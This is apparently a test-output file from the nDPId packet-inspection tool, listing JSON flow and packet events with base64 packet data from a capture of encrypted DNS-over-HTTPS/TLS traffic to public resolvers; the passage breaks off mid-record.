+00802{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739336,"pkt_ts_usec":955395,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"REREREREZmZmZmZmCABFAAFEM0dAAL0Go94KAAABuelq6LZCAbsgVVLXybMJllAYAfbmxAAAFgMBARcBAAETAwMcr1WdeadOHog3lEpiodEeAcm2gZJgU0L8O6YStA7tWSAYYApreqfeMV002xSAt2FZT+xN2PBaLBfkQPkpY2yRnAAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACkAAAAEwARAAAOZG5zLmRuc2hvbWUuZGUABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAgsGpq4zmMsA+1iGgtz9f+LYYNyHCIQZ\/zq3SyFDX6FwI="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":222,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":946739336955,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.233.106.232","src_port":46658,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.dnshome.de","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04354{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739336,"pkt_ts_usec":992908,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAvuxAADkGkf256WroCgAAAQG7tkLJswmWIFVT81AYAfXxAAAAFgMDAHoCAAB2AwOH51VjdKQ\/AZQoSOmoC7jYQ9n9NqAbTWqEvktHdZeP0yAYYApreqfeMV002xSAt2FZT+xN2PBaLBfkQPkpY2yRnBMCAAAuACsAAgMEADMAJAAdACBHlT\/ckNv1zu+YfSt\/zxC2rtSjIy\/UHNmUMGM8UGyVRxQDAwABARcDAwAgwilHvuszxY2P55AdC9vc0WNmaI98gk9UASFHh+rOkuIXAwMLGSaHw6LineCaEcA9j88fiSZ7p3jmYBOCmFwXmWuJbNVbDX18tcQr3ZATZwug3WdQUgZQuGPbLNtio7ePY9WJu1m+mcBvlmSf8p+kNIdmks3LygnPjDC2c6UxorLMoKdZpIF74n0UwdI1haIk7t9SxqKBNHhLqhVzXfA\/gYf10GXPi1hxhIDRS0KcW02uf1aHSSQNM4lfDYD4RpVTTVdscI7J3G592b5BxWNyVv0Whq0mJ6igzcGRSA9ve9GnhfQ7PQUMhLbnBs6Wh4\/E06aah5j\/y2NN9Rc5DR0mq07rU5Ce+\/XxD4lUU+ekKKMEv73SbncelyWJ8Y5vAOXrDEqq81ak\/UBhx9qx8\/JbLt7htRmRK4POVPXjov3f3Cr0\/J9vWUZrGJZBIzd1UHWlYZqWZ2e4zJnIzt4CgmUiyp0aneIGvtzNkXr50R32ENIRIAFyE695Wqs8jERpSPGsHn3huPrLifotNcrG9GhWfn+P06Pt7D4zUiFfvh+LyEBgC4g9mLo7FFTR9ZBh4cvU6KR2JbkcthJ2\/eit4GXyWKglPq9JYKNPyFUXXYoA+haf0kKxXZykljYvB6S+pRhq5fgW9P0TnapNy0IoETL\/FsgOgMCO0tJLa6wJ+moPbCUrnqhRlYqM1pTafI1RDq9YRk8QTG21gC3tmzmBSfh\/ZYdFQXZmYXvWfFwGRjyPIT9+zMlqq2Pdp2JskHpsbB\/FwB1MOL4EMGO2rEvqAN\/G+LUDaZwDQErYmrvokCqs5wzQjVzO+vQiri8OiX7KtSVymFdc3QbFXkOIAgL4ZCdwmcaz\/rCx33yioKUWWt5qTqCZ9pmtXhl4HcAp8XhgUIEYBgprpf\/Ti2fp0ElRAFLFXlwNoLI9iggooHHGhx21Tg5YhcbP60KH\/320Ma9w9iPFEDojm9a7Uksk9S+uRWv4OhUAAYKjuWZotkEozfx2xPJWhN+3nf+Iha6M\/PTSY3MMhm1WzIZxhGYM104LxfJgMU8G9gWojlgvjhJ9uq3S6TQd83u3bJfgu1uC+MqFUVxe5NSUl7ikQ0I2+aFOcROfwG1sC6mO3ReC1pSOUUz4gO3A9SSBBDyhLMPE7cirAIcpsT33LqFeeSDEu0N967vwR6xVh0M7jpo7PUXyGgThPlyiOpRF9s8WGXtAs8kIwGDjwgfzhZb+5Ica\/Es\/V\/Dcco2lqRgq\/dcAdyZM5sv0arfbaybN8N7gqsGjPTm+jzsbUO6EEvEXHs0ldZG8m8mE2GFXoShd8wgIhqj+fRxwQgiYi3jFhqxSX8HSBaQWBy4gUMLE10OhfyAXvg9pZiOtBVXbyXYhifDjhNa8C4V7nKfsRjcc+IPNLOUCpNnF7zVC\/0wEFNmAysEgZKbiQ7nvWTQEj\/4XkHTl7q+V1nyze+YBcVwnousw\/sC5PPMkFjNe\/rVKH6Nl21Xz4CEnFJQWyg9SJCs8VgXn5Gx1la2fl1eBBcFXXyYGSGvhO\/t81KOmn26l6yIAJ+49g5RwCWqzmcqOfJ3ZxKGRw+Q485Of16n26ALDBRuhLDlJPjC0rbaer7p0vcHW895cpbl01o6MkW2RA6neV7IiozPr9ltdIu27V3GvvBr7fVargxd2L+tYgyfTl9\/WILWXDEQZ1hdvd3QHM4PdFHFrVVzTGEggsJMhAt5dWLBf1xkH6HOVjXSYC7QWsq9x8ZMQQFScuqTVdGfJ7phQpuljGNTYHS3Fr6g3GHbNodTeleAa40XcWPRR1QvCNrU4+1mAEfui\/VF5yCnzl57O6v4AZaL+xkQS3bq5TgH0cEyHZIZPSXLjPO+kUoZirl9ExMfDKt7TaVQdS2YK2Ak\/Zeh3+0YL9HobNvrh9Kdgz2l9vzkzpGJFhtkFPLbfyoUqy9qVF5BYXMDsDNfzLRqQCkxTChoU3Oq5WC+NNoDfVEiV1uqKr4CPZT+MhJo3dMWH5rs\/NiqvW5Ts1TD9YHqyVEww4VuTJUEbvVoPl69h72o9XVtS7KLsKkPydjzTTKhHgn+fyRDhXnwLBWppDpzlYOaK5Bu7LUZ7jwPpDGb2uHb\/NdM6kLWzWHLfaWGXR9MiHxj02STxuaoJkhvcxJyZ4jf7EzDEtGtwrRtO9550RF2CTHt4JP2DLjHk039ZthYCTpxRqRekm7pNrIMm6JYaNTmH7DS2CnClfcodyWQo4n2PKz2RufAiyCR1Iovd48L90Pg2ksKOnBbJR09P4LdtuhxQLd8MMrL6a2NJAZcO+1X34ekx37pjBc0ECEHI\/F2EsMCaSmXvfpKvJDUd4hm6Lh+s4zDGKyYb0h4IN9C5WV\/0KBLeUKLuzHg0tLbCpWl5JAtrGio\/3uzgZW3lPesajgf6\/6yAiqz5a5LojXhnEilNNECArJbZRC7dxSLQfHafj61RDK6iVUhWyQIyby8NmvYxyArKL23gG\/dtpUv9vzD5buro8NzKqBt4kyQq5AyRDl9Pdx90dbqzL\/wNfIMw2mirNqhLtAV3Lcmt\/A5VrjLx4ZixfonmUVwV7Oggr8cd2H76iCaLM2zov\/KSvGOLzKOj0+VfjyUlo5Hx0LkrFyR4dGU8OrY4\/30wah66XxEoGD44ZGGY9mmIzDkQJmAUZmkkS7CDbDg1Z8FYCE7np6+eulLdG560xvNnTNnZupEtGdS5efhEH8mvJ96YqbwwP7SeMnjliahQXu1+lakhVlu8+nICagunD7qLvS+Fg8H3c6rjbWQ5ju6044gUUjdx9m9ucGTb1DOdOSzatH4eu\/xj8ZAYSsVq\/DNz\/DBK6wsphchGHTe6SX3Win5Q9xfrgZYWPZHl0ArgB0ilWMiV\/ALLyorbVNLl9DHnMkx10GmbnCSrwAOigo8SWLMZlWe1j\/W9cK63Ok4pAEypI+tsaU4+KGNcg\/Y809pje8RhsRhZyPyRSO4W7\/HH8AmTmAipBXMFJFIlbGBgYuDxl\/k3WXdS2IEVB5uVrdrK3IuYdnPCCcVuL3hLwj6k9lhcwgEM27zriQrtCvCjvLyB8dJvyzZCywv3b9Z9hbJbpIZQI3lMz+XJWCtXR9B5wT2TiwcFkZLA8v\/Gj2OeLuTROa+JmAs1Cy1LT3LNHOmrtPT6ceYpz72COQRQio7ykebG+XDgiLiCvhnLtQVxEQCyclUf0DdNX7KRiUsNtpm9qhk\/7G3HsLQ++6h8v1DP0f5LGqLcix7u2oI33Cf4OwaMqtYGg3yPzbp5wNZ8XB9tSXKBPcsjkv4tUNMLMknHSDtW7RBZerB5euuv2oYXeLw6W1kFDZQwREcwkkkFkPaFTf2R0OaQ0s20yEJ+2MP7zAUxwADciRnXdaSacxi\/MFaNm0cuKFuTZ4y\/Y5UDPv5UQlN6az+4ZYU2R4xFvAktPXCaDzYwhyETBBXTQ3kCDrI2ulxdBfYOIiMYjZjYc8xv3tq1mBsJ+7sgbDu2gL\/fzU\/XzK9B7Kcn43ttHaGeIj+jaXeNq015DYfGa1PFCW5NxEG6gmnM2Xks2\/Rnpc+U3EocTaXUc80yTiNXgxgwYfe8v7xwjDD8vmvRwIAbeusZYjtv2\/kzAUu4e+OEPcd3Jl7OxogoNIIdrVgd4b6ak43cbXB0SXrSOX\/1U+4+a3+9h3qxiMRT+7taHA6EbLauuw0gFFTQLeevuvsRegZK"} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":223,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_first_seen":946739336955,"flow_last_seen":946739336992,"flow_tot_l4_data_len":3228,"flow_min_l4_data_len":304,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1614,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.233.106.232","src_port":46658,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns.dnshome.de","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01404{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739336,"pkt_ts_usec":992967,"pkt_caplen":782,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":782,"pkt_l4_len":748,"pkt":"ZmZmZmZmRERERERECABFAAMAvu5AADkGmnu56WroCgAAAQG7tkLJsxTuIFVT81AYAfUY7QAABNww0uNuIsxm8qmdOPnMYeMk326YaxrhZ4BeE0iQsCOXpRsiKt+zuMH\/p46kXln3RjaOovnK3lxdaHFHnp3StO0w+9qyP8dfRt45iKXPZFHyuSZwyZICfazc2HX7baqawWsKHZ5R1vywVP6AqZpQ8xcDAwIZV+38qSfJjoOS9nhUEl3M5HQzO5DKRWLOqxVrOGS63iBZfxHLzBoty2qy3aDDfnx2Xca0b33wH+vr40qRx9mkz2WtuJs2PYtZyC6YxK5JHe0kUVYNQ8e0DmF1+83AmxFepTqPZR2RfXf2xtUUMst9Opu0LUgXejoef7ambf+g9Hfx1wcIPED7otCGjweGJmU4YxhSCmvm\/0prJdQTwLXZC1W3mnq5JD37u0ZpUZMdfulvx59AlBuxI9dDcGROTozpsYCeE9oOe\/+Op0XuIETBK4vQLjS+LqRPSPWlSzl34Ie9Lj5RtzFBiCOGkmC7wa1QGFdc0GBzHqe9X2VH4rhHT\/IVDbq7gKOuuDcZFEQo8KQkkgT\/bghJzCpIQIarVLOPJxv7EiP8jhgdtK0VY7ia6u+987fqrobyPuMatQbDO9AYRrsJJ\/ihFxuvGwFO0eh7s9vftBi8t0DzNQTsnPfAcZ\/ZhEkLxw\/vJIZfSRisiciHHsUp4piy+90mTdN5MUCDY5ry7DKAw6vfyOQHg9r82wvKNjwJ+rcekPLEv\/FHRvy1AZ1HMnW6KZrjJNV8SoDwDvDT5+zsDiOQRZ1eS4AXXC0O32K6gqAACjcqP2miu29e\/oaEK6\/b1NO2Ve4\/XFw2LcUxmiYpmfORgcrg0e71Ts168PRZOrwhuw4jECElrQOXPiGerekKt0pjC\/PXBVUwNa02PEriryGUFwMDAEURcT9DfIBolrnsJBL883VWax5ssbCevOTqwONlZ29TVRgiw1ubDPfUhqNcVCvs6bW1xyVTdeWqdjyxvrhijbOm0mBmopM="} +00531{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739336,"pkt_ts_usec":995910,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4M0pAAL0GpKcKAAABuelq6LZCAbsgVVPzybMXxlAYAfXl+AAAFAMDAAEBFwMDAEUCA\/YbRSqPjsGQUsI7BDvq7g3hnx8stX\/\/v2CQCTsComt49V00Fj0d8MRffKPSBQAZmRH9pre9c9BbaPqDdrxQX\/Gf1xA="} +00873{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739336,"pkt_ts_usec":996291,"pkt_caplen":389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":389,"pkt_l4_len":355,"pkt":"REREREREZmZmZmZmCABFAAF3M0tAAL0Go6cKAAABuelq6LZCAbsgVVRDybMXxlAYAfXm9wAAFwMDAFFiDwiRDXElbRhM59ReF6s2xqZG8RLQbqz4wpPrraKkN\/Q3HPC6T46YslyC7AJMSo1NEY1ep3FOrNlIA11HSwsb5eOMMpx8WNDUcPEe1r1vVzwXAwMApUI30qxbqbhWVyYGeOCEKJy06pkPug+PlPNXOwNqmcyrZw643t3j6fa+nNEdRxSXRCRihM1WRyQ8iDH\/Q6XjG26+a3iPD20brSBgI4tGq7G71TfgEfNyG78PMIFUuUshkFsOPrECbUFrz0HKwT8gbHFBzWhP05NjVu8n\/gZhYtaxOtJ07AMV4usaM8JCEutaHKQ3nCC\/lD\/U1rGT4byhQ2tvATBrCRcDAwBKAo5u9aU\/uRFkDbdy7aiGyC6ZSDQdw31Itx4Bjw1AGDdS3RRyIuBDENoUs4sCaKjPHDchsbmbEb3Gdh0r7veFFmABVf5P8Ws6UQ0="} +01107{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":18224,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImvvBAADkGm1O56WroCgAAAQG7tkLJsxfGIFVUQ1AYAfW8cAAAFwMDAPq0S5xRhUiFBm5oQjIpVR+\/xFtssf1hfIL5Knbb8EpDUxIkyA\/NYsg9hqvkUOWvQoRzHaXK8H0ZKKTsoAqv9UYJM2LOp2vqkH91TXl5Ocww0pLgQCbrAB3n\/0S8mjmYnNDnLEZW+KUgrOXpxj\/a8DL8DUJ81uRceFfV82w4VtHuBs9vQ0AV1YoKuKvDEOfYV3cJxVW00Xcxsq7zW3t2VW9C+A9teGLAC5JpPbmLpLH9Z2HwmhmSoHG18jHRIU+fmuEcJi\/8THJhgMezs7\/wtbiEIq6nDxSroTcIEeoiCrasiJUioRwCODXhTwuvzWUxCM+kPFhVfU+TAj3pFwMDAPp+Snu2WER35XWYJqme2A6kBPgwCSg9yNLza6qsM6y8WrQF\/cGyYuEAki7sctu2Ii3QdQvlbTd6fZcbI6mLj++kqGsmamd1d0Dcgr4x4R2uCk8sh06Ay3+lA4KX7NzoLH+nPBk30eo0P3OzvWfWIjcqJJzJweBBhZphkk8OvPsQLsaNaTCIiKByeoBJl0hF6huHVvF8nr0D7GyWIviEQsG2RuHcSOMysu9kl6fA1s4jOdVcQnA2TAcPd6dmI6eTli\/oh8lDxWDRuWdfyASCY1KlZBJJ3cxaiu\/q4qSqE8irqama7gLGQhv971Qv78mKAaEuQEChvBjZyCLE"} +00507{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":18487,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpvvJAADkGnQ656WroCgAAAQG7tkLJsxnEIFVVklAYAfVLjAAAFwMDADwoucuVLHWMm3AFWJMEQ7gMUxEn83bQuNE8fyjxQXNBRwAw8zs8zWjWOpP\/154bQau1Xmv1Tgcm1\/RRGTU="} +00459{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":18608,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHM01AAL0GpNUKAAABuelq6LZCAbsgVVWSybMaBVAYAfXlxwAAFwMDABrq+RlpSkVFRDdVkfO7aya9rNVNmSpj3Qh0Yw=="} +00892{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":19482,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"ZmZmZmZmRERERERECABFAAGGvvNAADkGm\/C56WroCgAAAQG7tkLJsxoFIFVVklAYAfWRLwAAFwMDAVlmJQcQpkpi1G+UpWL8rrTBeD\/tQto8hXiC7RRgJW+vZdGNsogQvsoPwmswayb4gK6+JmNTz3\/OT6oaS4CfVzylJCUHXrxbahUQsI\/BeWNDlfDPZec+g+g0RWdTxUryFYhJpvchJwBGwaCgJd+XhRNZFbeVRog9UOiAlPumvXuWxZFD4uUo3ZZ3uEIGXG74CBRXZh0t04Ao9ckVBCxD4IeYVGVenbHY0ZKSZDn0vJSOd7q\/go7gvmykPXxn3jpdy5OGdoHEMLLta61FwELWcT7dVoYFFVePCaanDZutbrh+4caX7srl7s5k0Pb3xJH+XWUKT0Ktx8Cih94wIeYf03ZsZBM+t09Q0W08NzMezdT+ZQQYDeMymoYacjiDq07fibmt+3mV4BickqkZ76x3LDlMCkDBwLGX5oyLeJHkoWh\/3o4T8l0nTStPB+CNmdtMoOe0xhBxMBH0QpM="} +00564{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":19924,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"REREREREZmZmZmZmCABFAACSM05AAL0GpIkKAAABuelq6LZCAbsgVVWxybMbY1AYAfXmEgAAFwMDAGX0RULNJBJGL2vHmOiAlEdfYOPmS2gI5A3EysxJ3oiIARS6c0ZQTRA0eL9Y8vHODyFq2ojg3anHd0xo6LcKzj6oCC\/09gfbtNVuc58k2B3xfYyI6flTzCk99qPHxe4medbrrMOeSg=="} +00569{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":20009,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWM09AAL0GpIQKAAABuelq6LZCAbsgVVYbybMbY1AYAfXmFgAAFwMDAGlkty+gqGrZ6kcEx6eBNJkFXATj\/PJ2qcItHe\/UVJd0Zib66d2kn86BcOtb4B5FFYHtH6onDNf0gbokZwIoYEMVa0r17ktTXFUNebFvyIdqYEIhAVbONH2RHpX1ccsyOFmwuGRf8aZpw9E="} +00683{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48007,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"ZmZmZmZmRERERERECABFAADrvvdAADkGnIe56WroCgAAAQG7tkLJsxtjIFVWiVAYAfXszQAAFwMDAL5fINknzSWUmJfsu6P5GG2HB04fm9Xp7ShxhoWlZA2Gsvv1uYsUhk1FoHjhZmw3jgY7hhBO4qrsQXrxPHGKcJRhNk5YjXZq0Iq+Xc\/0f\/Wfudy5r79osixFidmFWbYPxQ+dQuZ0OQb1xmezDUI0x31kyUuCW2Rp54AKfccofoQiACif0\/hxjLMQJ0jL0Irnhj4RevmIj9hvfxGMqPHsfxDIUxm6IpyxgtbAA4OSpTMWQWyososskgVkuA\/Ffiha"} +00464{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48238,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLM1BAAL0GpM4KAAABuelq6LZCAbsgVVaJybMcJlAYAfXlywAAFwMDAB46We2Qp+l8+vEhQuOpjYEBZk1tUGLiEp2u6nYNM2Y="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":235,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":946739348407,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":36012,"dst_port":453,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00805{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":407664,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"REREREREZmZmZmZmCABFAAFGD1pAAL0GczUKAAABlTjkLYysAcV+b2P18dMOKVAYAfY7WwAAFgMBARkBAAEVAwN1j0zYbg0sj5M3182ApIbVPce07i2k0VciV63ZowCdCSAqVc02WrOXRNItgTWsiYtxSSngWuVjvyRNgTc9xl83+QAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACmAAAAFQATAAAQZG5zMi5kbnNjcnlwdC5jYQAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACDGkG2e0e5ygLjqcZTIOnp7CQIXlvblqyaK24BObKyFNQ=="} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":235,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":946739348407,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":36012,"dst_port":453,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns2.dnscrypt.ca","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04625{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":519522,"pkt_caplen":3152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3152,"pkt_l4_len":3118,"pkt":"ZmZmZmZmRERERERECABFAAxC6ChAADQGGGuVOOQtCgAAAQHFjKzx0w4pfm9lE1AYAfVGVwAAFgMDAHoCAAB2AwMRVjU7SKUNCImmvfttR+GlB5jHaN+TnBAPl2NNilPzIiAqVc02WrOXRNItgTWsiYtxSSngWuVjvyRNgTc9xl83+RMBAAAuACsAAgMEADMAJAAdACCw4eX0v0AF\/2ysIrFslRpf1BB8aJflBi+uBQjF\/mpUaxQDAwABARcDAwAgSKLdPzNvW2jgnkkt1ArGKeMX1pOVS05PtE3+\/eUokuAXAwMKE7xrj8Cd0gecm+XxCtcCbfqp0Xw17l8bEv\/shADxxxp2Bzbyoz5R49XobAcn0zX4NMbYWhifQlUUPNi0pizuvO4Z2uJ7BgjBOgi7uGW9+EclkcQWPWUejxuRe7O410Q5Df3K0lFnTAKG5Q8hFQzWRLGpFNFdEHr9f\/gxxabZC79EC8Yp0yPXv\/HmMDXkQ4MFiklGk+tPcmld0DJxvUQMzeQxCm86Y50216avc9vAu6fj0J+kYdXk7oWDmD2dtLnR5EwpZu8cRY2UbUkl8ALnrb07VMOoFJY7zPFJIjuPu6NJRBVNZJB3vE0d6+a5PM4g6gDBfk3e5g98tlFHWiMNmuoZFlZFFaCJemgWUBnumrnynKFU46wjegkqBdCTk4d+NWELHpY6VAZduP79nQdaN3tx1a2c01muRMXnx81+ULomH3\/REIZL8cJwn+2P90vZcz0nqHAdHNiNOVCuiRaWyF4Wvtc2sEcGUjXGdVCvWK5\/TAJXm0J2jHwKksw9UwwmgBH2L6bGrwRyHCJ2cw2hrKj3bjjl++Bt52RqDx0PVra\/rDo\/D9uT1POR1MaM\/x6LwSGCpAydntCKtia54FgA3Uhl\/nC30fr8SinEx99ZlxNZcUwMiSNiiKzXEm9FsWYC\/mMQzJV1i0LpOAR5NQqTWYZcgE0\/OveI8ff5IAowgJ+Hh\/4cxgYyfxncxnZuou7BNW6vK67qt4eHbNzMxkGd+MYfZPjpdNHgl0+9xwS+qPx5Geun7Q7WO597TYhUFRG65T4qW2mYIUwL1aivadFz0v3ufWodzPjitCdjrW\/CjxtgUeuQtpa9t6KowJyhDmylZ7M\/A\/0JA+G7fTgIe1TbG0xXzz8kDHjrceHEBB3fFYvU5PKsGoQIH7p5mVRtoWylDhNC8a99xzxvR321Mh05C\/rxybySPX5rS74BeJ3VVwh0u5wrKR0eaWETinu\/8G\/XeeDanjx9v3DJgHY+pmOJ6EfJAfykxOYeiP4203LV9khy85bpP5JKwpS2QMRmDFSBHdsHpJDRK\/DdvVbwNlWzfHpmLZWIHourYiO61Z3oUmy4jI6OPDHv5EeJ3GNgfdU2yVIDdXq\/feGnWjZ1ojjDmfZzX6Ga4usOS7QhUW\/qRlMWXjj0hWmVMuLgwxGhGIXFKHCnNkMvxhSfzVsE\/fi2RWPnsN8Y42mvONkcXcfz9fwVNPYZJ6vnJUdC38oFYuyxT6LU0tUbEwaY\/ADwFl01XGl4ZRLV0i0vW1o2OR